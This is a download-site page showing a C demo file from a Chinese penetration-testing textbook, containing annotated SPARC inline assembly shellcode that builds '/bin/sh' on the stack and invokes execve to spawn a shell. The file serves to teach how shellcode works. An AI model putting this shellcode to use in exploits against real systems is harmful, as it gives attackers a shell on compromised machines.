⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shellcode_asm.c

📁 网络渗透技术配书源码
💻 C
字号:
/* shellcode_asm.c
*
*  《网络渗透技术》演示程序
*  作者:san, alert7, eyas, watercloud
*
*  shellcode演示
*/

int main ()
{
    __asm__
    ("
        sethi   %hi(0x2f626800), %l6
        or      %l6, 0x16e, %l6         ! 0x2f62696e
        sethi   %hi(0x2f736800), %l7
        std     %l6, [ %sp + -16 ]      ! std是指操作double word,也就是操作 %l6 + %l7 寄存器对
        add     %sp, -16, %o0           ! $o0是第一个参数,是/bin/sh字串的地址
        st      %o0, [ %sp + -8 ]       ! name数组变量指针
        clr     [ %sp + -4 ]            ! 构成了name数组变量
        add     %sp, -8, %o1            ! $o1是第二个参数,是name数组变量指针
        xor     %o2, %o2, %o2           ! $o2是第三个参数0
        mov     59, %g1                 ! execve的系统调用号是59
        ta      8
    ");
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -